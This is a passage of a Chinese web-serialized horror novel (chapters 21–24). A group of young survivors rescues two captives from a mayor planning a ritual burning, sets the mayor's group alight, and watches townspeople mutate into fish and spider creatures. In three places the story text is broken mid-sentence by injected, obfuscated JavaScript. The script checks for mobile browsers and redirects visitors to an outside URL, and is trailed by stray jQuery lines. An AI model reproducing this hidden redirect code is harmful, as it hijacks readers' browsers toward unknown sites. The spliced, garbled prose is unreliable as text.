雄一怒喝,抱着夏美,拽着缠在腰上的绳子,后退几步,在龙太郎彻底消失在水中前,用力拖住了他的衣领。
龙太郎的眼镜被血水冲刷,看不清前路,只觉得衣领被一只有力的手拽着,拖出了水面。
龙太郎被雄一拖出水面,拖上小楼,奈绪几人也站在那里,手忙脚乱把龙太郎拖上去。
雄一怒气冲冲:“你真是疯了,一个书包有什么重要的!难道你书包里放了什么见不得人的东西?”
龙太郎吐出一口浊水,没有说话,雄一一顿教训后,龙太郎的脸看上去心虚至极。
奈绪示意两人安静,经过短暂的休息后,奈绪靠在窗帘旁,掀开一条缝,盯着对面的动静。
当第一缕希望的微光照耀千鱼镇的大地时,奈绪正瞪着布满红血丝的眼睛,全神贯注地瞧着对面的动静。
风雨初停,街上的乱流也少了些。
经过多日的血雨冲刷,天空中浓云散尽,阳光遍撒,镇子的水位也在缓慢下降。
但这并不意味着和平。
二楼的窗户被打开,一抹明亮的橙色出现在窗边,那是镇长。
整面推拉式落地窗被拉开,窗帘被扯到另一侧,奈绪听见轰隆轰隆的声响,即便在对面也听得见。
“是船!”奈绪控制不住低声惊呼。
一艘接一艘的小船被推了出来,足有七八人之多。
奈绪在心中默默数着,直到数到第三艘船时,她面若寒冰,低声道:
“中村在这艘船上。”
21. 血水
其他船中都至少坐了两个人,而第三艘船和第四艘船都只坐了一人。
船只是镇子的紧缺物品,绝不会这样浪费,只有一种可能,就是船上放了东西,而且重量还不小,处于安全考虑,他们不得不这样安排。
奈绪眯着眼睛,眸中冷色更甚,视线如同利刃射向坐在船中心的镇长。
他整了整衣领,身上的橙色游泳圈分外扎眼,他将袖子捋下,盖住了手臂。
奈绪敏锐捕捉到了这点异样,视线移动,又看向镇长身边的其他几人,他们大多身穿长袖长裤,领子竖起盖住半边脸。
隔得太远,奈绪看不清楚,只好暂时作罢。
奈绪:“现在水位降了,我们不必再一起出现,我和雄一前往解救他们,龙太郎在暗处配合,友树,你和由子一起待在这里。”
雄一将夏美从怀中解下,恋恋不舍地交给由子:“外面太危险了,我不能带着她到处走,由子,真是辛苦你了。”
夏美忽然哇哇大哭起来,鼻涕冒了个泡,一张小脸皱得通红。
雄一有些不舍,他用纸将夏美的鼻涕擦去,又揉了一下夏美的头发:“夏美真是个可爱的女孩,长得很像她妈妈。”
奈绪心里也不舒服,她一夜没睡,两眼通红,拉着由子的手,直到门口才松开。
“我走了。”她说。
水位下降了不少,镇长一行人的小船在水面上晃晃悠悠漂浮着,他们手中拿桨,在血水中划起浑浊的浪花。
一共有七艘小船,排成一列慢悠悠穿越被雨水漫灌的街道,奈绪不知道他们要去哪里。
镇子上所有的船只都被他们给占了,奈绪和雄一都穿上了不多的安全服,在水中能勉强漂浮。
以防万一,奈绪和雄一都扯了几件深色衣服披在身上,晨光初亮,镇子的中心被日光照得透亮,奈绪和雄一隐匿在边角,跟着这七艘小船游着。
龙太郎远远跟在他们后面,以防二人发生不测时可以及时通风报信。
“镇长,要是那几个人找过来怎么办?”一个瘦的像干的高个男子问。
镇长:“我们十几个人,他们几个人?还是一帮老弱病残,更何况我们做的是一件对的事。”
“镇长,如果我们把这两个人给献祭了,但不管用怎么办?”
镇长没有回头,话里含着怒气:“难道那片鱼鳞是谁刻了放到我井里的吗?圆子,这是天意,上天知道我可堪大用,所以给我降下最艰巨的任务,这是神的预示!”
叫圆子的男人小声嘟囔着:“神就一定会指示我们走出灾难吗?我如果是个神,我就不会这样做。”
“所以你才成不了神啊!”镇长冷哼一声,从防水服中掏出一根烟,又从船板中翻出打火机。
“嗤——”
镇长咬紧烟,猛吸一大口,啧啧称叹:“你别说,这帮镇民们买的烟还真不错。”
“那我们现在带着他们,是要去哪里?既然是献祭,为什么不说清楚一些?”
镇长手中的烟烧到一半,他又抽了一口,白烟从嘴边喷出,他手指掐着烟蒂,往一个方向点了点:
“往那里去。”
船经过拐角,往前镇长骏平的房子驶去,一艘一艘的船都驶过街角,一共过了六艘。
最后那人刚将桨插入水中,想加快速度赶上其他人,脖子却遭了重重一击。
奈绪拖着被打晕的男人,将他塞进旁边一栋空房子内。
“快!”雄一正在喊她。
她扒住船身,坐上摇晃的小船,木桨在水中划得飞快。
镇长一群人往村井骏平的房子去了,看来不止自己发现了镇子布局的规律。
他们要将这里作为献祭地点,而奈绪需要抢在他们之前抢先溜入房子,伺机而动。
一旦右一与中村清醒过来,谁是真正的叛徒,就很清晰了。
她扭头看向远远跟着的龙太郎,龙太郎的镜片在太阳下反着光,小心地靠着一块浮板。
奈绪有意将两个叛徒人选分开,只要其中一个有异常举动,就能迅速暴露。
她现在尚没有打消对龙太郎的疑虑。
龙太郎是她最敬佩的老师,也是知心的朋友,可为了集体的利益,她不能仅仅依靠直觉判断。
正思索着,小船已经划到了房子后门,后门稍微一推就开了,后院残破,枝条都沤烂在水中,大块大块的霉菌生长着,不堪入目的脏东西漂浮在水面上。
龙太郎也溜进小院,他情绪低沉,指着二楼的房间,对奈绪说:“在医院的火灾发生后,珠惠的妈妈在那里上吊自杀了。”
奈绪咬紧下颌,手指成拳捏得青白,脸上仍是平静,看向二楼的窗户,那里用木板钉死,没办法看到内部的样子。
她不能轻易表露自己的情绪。
她不只是为中村和右一而来的,也并不是为在医院的无数被火焰烧死的冤魂而来,她一颗十八岁的心灵承载不起太重的责任。
她只是想着:
我为珠惠而来。
我为步美而来。
我为镇子上最优秀的镇长而来。
在医院火灾过后,现任镇长的很快褪下假面,率领一群人在镇子里进行搜查,美名其曰:资源利用。
谁的资源?医院里的那帮亡魂的。
奈绪将小船藏在后门外的一颗歪脖子树后,而后和雄一一起游进后院的走廊。
走廊几近废弃,上面堆了不少没用的杂物,杂物阻挡了他们对房子的探索,不过也正好为他们提供了合适的藏匿空间。
在一堆脏污的木桌和床单前,奈绪蹲下身,小腿传来轻微的疼痛感,奈绪掀开裤子,将绑着小腿的尖刀抽出,尖刀划破了她的一点皮肤。
将尖刀打了个转,她紧握在手中,旁边雄一一直看着她,她扭头冲他一笑:“你看什么?”
雄一摇摇头,两条粗眉毛皱得有些苦涩:“我只是觉得……我们怎么会落到现在这个地步,之前你还是一个在镇子上买零食的小姑娘呢。”
奈绪嘴角瞬间僵硬,笑容僵在脸上,几个月前的时光,好像是上辈子的记忆了。
“你不也一样?”奈绪反问:“那时候我们都想不到现在会这样。”
奈绪低下头,用指腹慢慢擦过刀刃的最边缘,“感觉像是很久以前的事了。”
在来之前,他们就已经商量好了对策,救出右一与中村放在首位,手刃镇长放在第二位。
“镇长,这房子太乱了,我们要在哪里祭奠?”一个粗犷的声音。
镇长:“根据鱼鳞上所说,需要提前设下鱼台,在午夜时分将他们烧死在鱼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977571|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
台中心,然后等到第二天黎明即可。”
急促的脚步声响起:“镇长,我们的麻药要不够了!”
镇长声音不耐烦:“不能直接一棍子下去吗?比什么麻药都好用。”
“可我们之前用这个办法时死了好几个,万一这两个再被打死了,事情就难办了。”
镇长沉默片刻,考虑了这种可能性后说:“那就先给一个人打,另一个人绑住,给他嘴里塞上布。”
在来的时候,奈绪仔细数了数他们的人数,一共十三人,加上右一和中村,就是十五人。
他们所有人都出动了。
奈绪往嘴里塞了一块压缩饼干,保存体力。
等到太阳落山,千鱼镇的一切都沉寂在绝望的黑暗中时,她活动了一下脚腕,掀开一半床单,脚尖点地,轻手轻脚,躲在废弃的楼梯角。
鱼台是千鱼镇的一项古老祭祀形式,木头雕刻的巨大宽面刻成鱼形,而被祭祀之人坐在鱼眼位置,鱼尾供奉其他祭品,负责祭祀的人则绕着鱼台围成一圈。
一人被绑在隔壁,另一人则被迷晕了,被放置在鱼台中。
其实祭祀并不要求这许多,“井”字的中心在骏平房子里,只需要在这间房子内进行就可以。
只是,一楼积水,三楼窗户残破,房顶倒了半边,二楼是最佳的选择。
祭祀尚未开始,奈绪给雄一递了个眼色,雄一朝前门溜去,趟在血水中一个一个查看着小船,摸着船上的暗格。
而奈绪则手握尖刀,贴着楼梯向上走到了二楼。
一个人从房间走出去上厕所,奈绪急忙扭身躲在黑暗中。
天色黑得浓透,若不是那人手中拿的蜡烛闪着光,她甚至可能与那人撞上。
那人是去上厕所的,他哼着歌,不久又拿着蜡烛回来,进了房间。
他一进房间,房间里响起一阵说笑声,通过声音判断,大部分人聚集在这里,而鱼台应该也设在这里。
按照常规判断,他们应该会把被绑着的那个人位置设在这个房间附近,设人看守。
奈绪往隔壁房间摸去,一片浓重的黑暗中,她轻声唤了一声:“中村?”
没有中村的声音。
右一的声音响起,极度虚弱:“奈、奈绪?”
“嘘。”奈绪比了个手势,右一立刻噤声。
奈绪将右一的绳子割开,递给他一个木棍,让他在原地躺着,先不要动。
黑洞洞的房间里,只有房门露出一丝蜡烛的光亮,光影在地板上晃动着,逐渐靠近了房门。
房门轴承生锈,许久没有上油了,那人推开房门的声音吱呀响,奈绪留神着每一处细微的差别,大拇指下意识在刀背上擦着。
一个满脸横肉的男人迈着沉重的步子踏进门内,灯影摇晃,他一眼便看见了中村,他还像老样子一样躺在地上。
“他奶奶的,都是一帮懒货,没一个人来替我,我上个厕所都不得闲。”
他朝着中村的肚子踢了一脚,中村却忽然身子一闪,从他脚边躲过了,紧接着一根木棒直中面门。
中村虚弱,木棒打得不痛,他扯过木棒后形势便很快转变,逼得中村节节败退,退到了墙角。
呲——
他将木棒朝中村的头打去,却听见了血管破裂的声音。
22. 血水
门敲了三下。
房间内,明明是炎热的夏季,气氛却冷得像冰。
右一躺在鱼台的鱼眼处,体内注射的麻药逐渐分解,意识慢慢恢复。
他睁开了眼睛,他听到了敲门声,他的脚踢到了一大瓶塑料瓶,上面用马克笔标记了“汽油”两个字。
身旁,十二双眼睛正盯着他。
他挣扎一下,发现身上绑了几根粗绳子,没办法站起来。
敲门声又响了,右一才知道这声音并不是自己的幻觉。
最上方挂着一个钟表,钟表的秒针正一圈一圈地旋转着,还剩三分钟就要到午夜零点了。
敲门声还在继续,外面的人没有说话,镇长喊了几声,门外也无人回应。
“怎么回事?”镇长不耐烦,冲身旁的男子喊:“去开门看看。”
镇长使了个眼神,男子心领神会,抄起一根棍子,半边身子靠着门边,小心地将门打开。
开门的瞬间,男子手中的棍子猛力往对面打去,迎面而来的是一个满脸是血的男人,脑壳被这根棍子大力击打,瞬间晕了过去。
男人倒地的瞬间,一只青白的生着青筋的手有力地抓住了男子的衣领,将他向后拖去,同时,门内的男人腹部挨了一下,连连后退,摸向肚子时摸了一手血。
“你特么……”男子怒吼一声,“你从哪里来的?”
右一眼前一亮,忙扭动身体挣扎着跪坐起来,大声喊:“奈绪!我在这里!”
奈绪:“知道了。”
奈绪身后出现了三个人影,分别是龙太郎,中村,雄一。
奈绪表情淡淡,手拎着晕倒男人的衣领,男子手臂软软垂下,肩膀还流着血,意识涣散。
奈绪平淡无波的眼神看向房间里的人,最后与房间内的镇长对视。
她没有立即开口,两人的眼神无声较量着,镇长看着奈绪瘦弱的身躯,不屑地扭头勾起嘴角。
“是奈绪啊,看着还像个高中生呢,怎么,不好好待在家里复习功课,怎么跑到这里来了,没被吓坏吧?”
室内一阵哄笑,镇长偏过头,用牙齿剔了剔牙,不耐烦地哼出一句:“你想干什么?”
“不干什么。”奈绪笑了一下,“只是想换个人而已。”
奈绪拍了一下晕倒男人的脸,迫使他睁开眼睛,说:“用他,换里面那个人。”
她将刀子抵在男人脖子上,另一只手指向右一:“就他。”
镇长两手撑地,从地上站起,“你凭什么认为我会留下他?现在只剩两分钟了,再不祭祀就来不及了。”
他一边说着,一边打开了汽油塑料瓶,将整瓶汽油沿着右一头顶泼下,右一呸了两声,大口呼吸着空气。
镇长从口袋里掏出一个打火机,面对奈绪露出了一个笑容,笑容扯起眼角旁的褶皱,看起来笑得分外夸张:“奈绪小姐,我们都是在镇子上长大的,你怎么就不为镇子想想呢?”
“万一这件事情成功了,那可是好的很啊,你到时候也是受益方。”
“况且,现在——”
“掌控权并不在你的手里。”
金属摩擦声,打火机被点亮,细长的火焰在黑暗中舞动,分外迷人而危险。
右一吓得腿脚哆嗦,努力想要离那团火焰远一些,早已控制不住脸上的表情,泪水沿颊边流下。
他哆哆嗦嗦:“奈绪……你,你快走吧,记得照顾好由子,别管我了……”
奈绪没有回答,只将尖刀又朝男子的颈部抵近,一滴细小的血珠顺着皮肤流下。
男子被痛意刺激得完全清醒,不住地祈求着镇长:“镇长……我们一帮人好歹也相处了这么久……当初,当初你烧医院的汽油还是我帮你扛的呢……”
“住嘴!”
镇长一声怒喝,男子闭上嘴巴,奈绪的眼皮轻微跳动一下,手上却没有松半分。
“镇长……”镇长身旁,几个壮汉挤过来,“好歹他也跟了我们这么久……镇子上的长子又不是只有一人,我记得你……”
一个响亮的耳光。
那人捂着脸,悻悻退下。
“镇长,他说的也在理,其他人还能再抓,但兄弟们的心不齐就不好了。”
更多的人挤了过来,七嘴八舌劝说着。
雄一看了一眼奈绪,事情果然如他们所料,镇长不愿意换人,但这件事由不得他。
他身旁那些劝导的男人,都是天生的逐利者,他们并非是想救下奈绪手中的男子,只是在为未来的自己考虑罢了。
房间里的吵闹声越来越激烈,一个人甚至推搡了镇长一把。
只剩两分钟了,镇长看向钟表。
“好了,好了。”镇长无奈地举起双手:“那就放。”
奈绪把男人交给雄一,雄一架着男子的两条胳膊,镇长一只手押着右一,两人都往门口走去,对视一眼后分别松开手。
男子连滚带爬地冲进房间,右一浑身湿淋淋,地上连了一长条汽油的痕迹,一直拖到他光着的脚边。
最后一分钟。
镇长看向钟表。
“奈绪小姐,真是对不起了。”
镇长唇角微勾,将手中还燃烧的打火机朝着右一扔去!
这一下又快又准,即便碰不到右一,也能碰到地上那明显的一滩汽油。
引火上身,四人皆焚!
想象中的场面却没有出现。
燃烧着的打火机碰到右一的身体,火焰没有立刻蔓延,而是被弹开丢到了地上。
打火机滑动到奈绪的脚边,奈绪将它捡起,嘴角勾起笑容:“还剩二十秒啊,镇长先生。”
镇长的笑容冻结在唇边,后退一步:“怎、怎么回事?你干了什么?”
奈绪不语,雄一从身后拿出一个盛满液体的塑料盆,端到门旁瞬间倾倒,奈绪把玩着手中的打火机,嘴里一下一下轻声倒数着:
“五秒,四秒,三秒……”
“一秒。”
“镇长先生,其实你不配被称为镇长,真正的镇长早就死去了。”
“这个结局可是你选的。”
打火机呈一个抛物线,精准落到那堆不断往房间内流动的液体中,瞬间,火焰大起,燎过窗帘,整个房间都燃烧起来。
奈绪从外面关上了房门,房门灼热,里面的人呼号惨叫。
龙太郎后背起了一层鸡皮疙瘩,有些害怕地看向奈绪:“奈绪……这样会不会不太好?”
奈绪:“他们帮着镇长火烧医院时,有想过这个问题吗?”
房间里,哭嚎声如潮水般沸腾,有人用身躯重重撞着窗户,但二楼的窗户早已被封死。
奈绪带着三人从一楼下来,血水已经退了许多,现在水面只到大腿。
奈绪看向二楼的房间,黑烟正顺着窗缝逸出,几个血手印在窗户上,外面是封死的木板。
“他们选的这个房间……”龙太郎嗫喏。
奈绪:“没错。”
“这就是珠惠母亲自杀的地方,还是你刚才告诉我的。”
她让雄一用硅油调换了他们的汽油,以防万一镇长狗急跳墙,但本来的目的并不在杀死他们所有人。
怎料,他们选取的房间,正是这个珠惠母亲自杀的房间,也因为这个自杀太过血腥,这间窗户被封死。
他们没有对生人的关心,亦没有对死人的尊重,才选了这样一个房间。
珠惠母亲的死是这些日子以来,镇子里最平凡不过的一个。
“也许冥冥之中,珠惠的母亲也希望能杀死这帮恶人吧。”雄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977572|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一抬头看着漆黑无比的天空。
身后的木板被烧断了,火焰卷着浓烟冲上天空,奈绪忽然站定身子,看着燃烧的二楼。
奈绪:“听说镇长也是长子。”
“既然他愿意牺牲别人的生命,那不如先牺牲他的好了,正好我们也看一看有没有奇迹发生。”
雄一扬起浓眉:他倒从没想过这一层。
雄一:“到底是神的救赎还是神的玩笑,想必很快就会揭晓了。”
龙太郎架着中村,右一身子好些,跟在旁边。
雄一和奈绪并肩走在前面。
血水潮即将退去,他们不再需要这些船只了。
奈绪脸色发白,强撑着的情绪终于松弛下来,雄一眼疾手快扶了她一把,奈绪摇摇头,找了根棍子倚着,自己慢慢地走。
她忽然扭过头,问:“把你们骗走的人……是友树吧。”
中村没有说话,沉默已经说明了一切。
都是从小到大的朋友,谁也想不明白,短短几个月内,他怎么就变成现在这样。
龙太郎:“你是怎么看出来的?”
奈绪:“就在刚才想明白的。镇长他们的塑料瓶,和他带回来的一样,虽然镇子上的瓶子都大差不差,但现在的环境内,干净的瓶子并不好找,只有可能是提前储备,而具有大量储备能源并且现在还没用掉的,只有镇长了。况且,我分析了友树的行进路线,虽然镇长的房子并不在路线上,可是十分接近。”
雄一:“所以你从看到镇长的房子时,就开始怀疑他了吗?”
奈绪轻轻点头:“嗯。”
雄一发出两声爽朗的笑:“奈绪,你还真是心软。”
奈绪笑了一下,不置可否。
反倒龙太郎推了推眼镜,不可置信地听着两人的对话,随后迅速将雄一拉到一旁:
“为什么这么说?”
雄一:“她把友树和抱着孩子的由子独自安排到一块,就是给他一个自己主动离开的机会。”
“如果我们回去,而他还想装作什么事情都没有发生,当一个彻头彻尾的懦夫,那等待他的,就不像离开那样简单了。”
回去后,果然,友树消失了。
据由子所说,友树主动提出要去寻找物资,撇下她出了门。
过了一段时间后,由子试图出门寻找他,只看见前门旁放了几箱水,几箱她好久没喝到的,很干净的矿泉水。
所谓“长子献祭带来奇迹”的传闻并没有应验,骏平的房子连带那十三人都被大火烧了个干净,一如医院的那些人。
唯一值得庆幸的是,血水正在退去,土地虽然被血水浸透,又湿又软,但无论如何,这可是——
土地啊。
土地包容万物。
镇子恢复了短暂的和平,镇长死亡带来的物资被镇子里的人瓜分,还够他们再撑短暂的一段时间。
可惜奈绪和由子辛苦种出的蔬菜,刚刚成熟便死在血水中。
奈绪靠着精神病院三楼的窗户,面前放了个沾水的磨刀石,她将已经很锋利的尖刀放到上面,用力摩擦着。
长子之灾由人造成,也已经过去,她不再担忧,只是——
她想起镇长那十三个人竖起的衣领,放下的袖子。
她将刀子抵上那人的脖子时,曾感到了一点微妙的滑腻触感,她在他的后颈处摸到了一些沟壑和凸起,形状像是……鱼鳞。
房间里,奈绪的父母还隐藏在黑暗中,不肯出来见人,奈绪想起他们身上生出的细细绒毛与斑点。
也许镇民的异化开始了。
奈绪用力磨了一下刀,呲喇一下,大拇指被尖刀划出一道血痕,她将拇指放进嘴里,血腥味慢慢散开。
不知道我会变成什么怪物。奈绪想。
23. 终声
太阳热滚滚地搅散了灼热的光线,千鱼镇的空气好似成了一锅刚出炉的浓汤,吸一口空气,从嗓子到肺腑都是烧灼的。
此时,整个镇子只有一个地方是稍微凉快的,就是海边。
海风依旧是灼热的,但脚伸到海水中,总能借助温度差减少一些体内的热量。
弥漫在空气中的血腥味仍未完全退去,海面仍有淡淡的血粉色。
但土地在经过多日烈日的暴晒后,血水已经渗入地下,又经过雨水冲刷,已经逐渐恢复正常。
只是依旧寸草不生。
海岸上,浪花拍打着礁石,灼热的海风翻滚着将岩石烤热,海岸蔓延几里,海边搭起了黑色的棚子,棚子上盖着白布,用来反射日光。
从远处看,数十个棚子沿着海岸绵延,黑与白相衬,倒像是在吊唁。
靠近海岸的一个棚子下,一位短发女子从布帘下走出。
女子小腿和手臂晒得黝黑,穿着一双脱了线的凉鞋,一双眼睛又黑又亮,像是要看到人的心里去。
她看着翻涌着浪花的海面,眉心微蹙,低下头将袖子捋到胳膊上,一寸寸摸着自己的皮肤。
还是那样的光滑,平整,黑了不少,能确定的是,她还没有异变。
身后帐子内,有人轻声喊起她的名字,声音很小,气若游丝。
“奈绪……”
奈绪哦了一声,赶紧掀开帘子进去,棚子内放的东西极为简单,几张桌椅,杂物,水桶,两张木床,床上堆了两个薄毯子。
其中一个毯子内,窝着一个人,那人用毯子捂住脸,只留一束黑亮的头发从床侧倾泻而下。
奈绪摸着一缕柔顺的头发,手指微挑,将毯子掀开一角,声音轻柔道:“由子。”
由子将毯子扯下,下意识眯起眼睛,她的瞳仁缩小,眼白增加,脖子上和靠近脸颊的位置都生出了细密的银白色鳞片,硬如刀片。
由子声音虚弱,看着奈绪日渐消瘦的脸有些心疼。
“奈绪,你说的那个钟,还会回来吗?”
自从步美用头敲响大钟后,钟与船都被海虫运进了海中,再也没有回来。
据镇子历史记录记载,从前的镇子出了这些事,正是依靠敲响大钟而化解。
但距离上一次灾难已经过了五十年,从那以后,那口钟,被镇民数次废弃,直到一道闪电劈上了它,最后被放到海岸,而后被虫子运走。
如果敲响大钟就能结束镇子的灾难,那步美敲响的那一次,按理来说应当终结了灾难,然而并没有。
那是不是意味着,镇子这次的灾难量级和从前不同,只有经过真正的十灾,再敲响大钟,灾难才会真正停止?
奈绪甚至有些期待第十灾的来临,等到永恒的黑夜降临,也许那艘破船会载着那口钟出现,她会敲响它,会赶在变异前终止这一切。
从一周前,由子的腿部出现了细纹,而后细纹凸起,分层,变成了银白色的薄鱼鳞。
而后,中村,右一,都出现了不同程度的异变。
中村的手臂出现细纹,右一更严重些,不仅脖子上,手臂上出现了鱼鳞,手掌也出现了成蹼的趋势。
他们现在住在海边,依靠着并不规律的涨潮落潮获取微薄的食物。
时节已经初秋了,天气依然如此炎热,与上年微凉的秋意无法相比。
现在的时间流动与往昔不同,太阳月亮出现的时间不定,涨潮落潮也无法预知,奈绪靠一个捡来的钟表看时间,每过去一天就在一个皮革上划一道,直到整个皮革都被划得破烂不堪。
“已经过去一年了啊。”奈绪感慨,将皮革展开,让躺在床上的由子瞧了瞧。
由子在床上直起身子时,摸到了胳膊上的鱼鳞,海面咸湿的海风透过掀开的帘子吹拂着她的脸颊,她虚弱的脸慢慢沉静下来。
“奈绪,”由子开口,“如果我将来不认识我自己了,请你救我。”
奈绪:“怎么救?”
由子:“杀了我。”
奈绪沉默片刻,转头向外:“快起来吧,我们还要去看爸爸妈妈。”
“奈绪,你答应我!”由子扶着床翻下,站在床边。
奈绪:“你知道我不可能会答应的,你是我姐姐。而且,我说不定也很快就异变了。”
由子冷声:“奈绪,我这一周一直在睡觉,你知道是为什么吗?”
“我对我身体的控制权在逐渐丧失。”
“我的身体,不像是我的身体了……”
由子:“奈绪,如果我的灵魂被困在这样一副异变的身体内,那和永世不得超生有什么区别?奈绪,如果真有那一天,我希望你帮我。”
奈绪:“别想这么多了。”她掀开帘子,“我们快走吧。”
带上一包食物,她们穿过密密麻麻的棚子,里面有许多瘦骨嶙峋的人,被日光晒得黝黑,有一个人刚刚死去,嘴角泛着白沫,两眼上翻凸起。
曾经,鱼人吃掉了许多尸体,剩下的骨头被他们丢到南山,用火焚烧干净,现在沙滩上的尸体并不多。
他们怕鱼人上岸,但更怕饿死,现在的千鱼镇里,只有这个地方能获得外界的食物,饿死比被杀死的滋味更难受。
路过一个棚子时,一个老人推着轮椅出来和她们打招呼,正是那日奈绪和由子救下的刚志。
她们从废品站里找出了这一辆破轮椅,托雄一上油检修后,将它送给了他,现在他靠这把轮椅,已经能在海滩上正常生活。
刚志花白的眉毛舒展,脸上表情放松,和奈绪打过招呼后,就推着轮子进了棚子。
奈绪与由子二人沿着干涸的街道,重新走回了那间病院。
推开生锈的大门,奈绪拎着食物,在漆黑的楼梯内慢慢往上爬。
又站在那扇熟悉的门前,她上一次听到父母的声音,已经是三天前了。
她正要敲门的手指顿了顿,落在铁门上:“爸,妈,我们来看你们了。”
没人回应。
和先前中村右一待的房间不同,父母所住的房间只是普通的看守间,并没有双层锁的设置。钥匙在父母手中,她们谁也打不开房门。
奈绪心里泛起一丝莫名的惊慌,又接连喊了几声,依旧没人应答。
她绕到旁边的一间房中,打开窗户,由子已经拿来了绳子缠在奈绪腰上,另一边绑在栏杆上。
奈绪灵巧的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977573|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身子纵身一跳,攀上隔壁的围栏。
她身形一滞,竟在空中停了一下,随后重重撞到墙壁上,由子急声大喊:“小心!你看到什么了?”
奈绪声音又闷又沉:“姐姐,窗户被从内砸开了。”
由子:“他们想走,为什么不能从正门?”
奈绪:“也许不是不想走,而是以他们的状态,开门不如踹窗户方便。”
他们已经完全异化了。
奈绪揪着绳子,扶着肿起来的额头,从窗户翻进隔壁,顺便将绳子从腰间解下,方便隔壁的由子进入。
她在隔壁翻找起来,试图找出父母离去的踪迹,除了一床破旧的床单,一地的食物残渣,什么都没有。
由子也翻了进来,几次寻找后依旧一无所获。
“他们走了……”由子嘴唇嗫喏,“他们会不会变成其他人那——”
“别说了。”奈绪打断她。
镇子中,这些父母最后都变成了蜘蛛。
细绒毛,黄黑色的斑点,蜘蛛的特征一个一个吞噬作为人的理智,直到他们真正丧失意识,真正变为一只嗜血的蜘蛛。
她们曾看到过一只极大的蜘蛛,在废弃的高楼上迅速攀爬而过,肥胖的肚子满育着蛛丝,蜘蛛上的那张脸被一层薄蛛丝包裹,但她们还是迅速认出了那张脸。
那是医院里一名护士的脸,那时候奈绪吃零食吃坏了肚子,由子陪着她到医院,就是这个护士给她吊的滴瓶。
女人头发凌乱,意识全失,一双眼睛被眼白占据,身体两侧伸出了黑色的触手,在高墙上攀爬如履平地。
这些蜘蛛不知道去了哪里,刚看到它们时,镇民都受了不小的精神冲击,但意识到这些蜘蛛不会害人后,他们就慢慢放下心来。
说起来,父母是最后一批异化的蜘蛛了。
镇子上的人对人异化为蜘蛛的情况,接受程度异乎寻常,近乎诡异。
奈绪想:那可是人啊。
奈绪翻开父母的储物柜翻找,父母从家里带来的东西全部放在这里,药品,针线,衣服,甚至还有一本圣经。
奈绪将圣经翻开,一张纸轻飘飘落下,她好奇捡起。
是一堆意味不明的符号,字母和数字,但似乎有规律可循。
奈绪将纸张塞进口袋,接着打开了房门。
“走吧。”
两人沿着过来的道路往海边走去,在山坡上却远远地看见一群小黑点,往镇上跑来。
其中就有刚志,他被雄一推着,轮子转得如同飞起,腾起一段烟尘。
中村,龙太郎和右一跟在后面死命奔跑,还有一大帮惊慌失措的镇民。
奈绪和由子急忙停下脚步,掉头往镇子跑去。
等到雄一几人都赶到镇子,气息平息之后,奈绪问:“发生什么了?”
“鱼!鱼!”雄一喘着粗气,“鱼人上岸了!”
他们都躲进附近的房子,将房门反锁,透过窗户看着那群鱼人。
第一个鱼人的身影出现在街角,身形扭曲,脚步蹒跚,獠牙上有涎液滴落,在它身后,紧跟着一群刚上岸的鱼人。
它们的死鱼眼微微转动,向二楼的窗户扫来。
24. 终声
鱼腥味弥漫了城镇。
奈绪半蹲在窗边,鱼人可怖的面颊瓮动,脖子上的鱼鳃开开合合,正吞吐着千鱼镇的空气。
它僵硬的身子缓慢移动,顺着鱼潮离开,生满鱼鳞的脚踩过干涸的街道,留下一串泥泞的脚印,粘液顺着它的脚滴落。
奈绪捂住口鼻,抵挡着无处不在的鱼腥味,视线一瞟,忽然听见对面店铺传来几声响动。
一个人,准确来说不像是一个人,他穿着背心短裤,脚面已经完全被鳞片覆盖,嘴唇变硬凸起,一双死鱼眼鼓出了眼眶,几乎要掉下来。
这个人晃晃悠悠推开对面店铺的玻璃门,加入了汹涌的鱼潮。
他意识已经涣散,浑然不知自己在做什么,他身旁站着一个男子,男子见他异样,手试图拽住他的胳膊,却反被他扯入了鱼潮,瞬间成了众鱼的晚餐。
身边传来由子轻柔的呼吸,奈绪瞬间将窗帘拉上,扭头看向由子,脸上堆起笑容:“你凑过来干什么?”
由子神色淡淡:“雄一说它们回海滩了,估计再过一会,镇子上的鱼人都回去了。”
“哦。”奈绪下意识瞄了一眼窗帘,“那……咱们一会就能回去了。”
“嗯。”由子回答,脸上出现笑容。
奈绪松了口气,庆幸由子没看见刚才那一幕,说道:“那我去收拾东西了,再找点能用的东西带回去。”
奈绪清了清嗓子,手掀开窗帘,确认鱼人消失后,将窗帘重新拉开。
奈绪:“我先下去了,你也赶紧过来。”
“嗯,我马上。”由子看着奈绪离去的背影,放慢了自己的收拾速度。
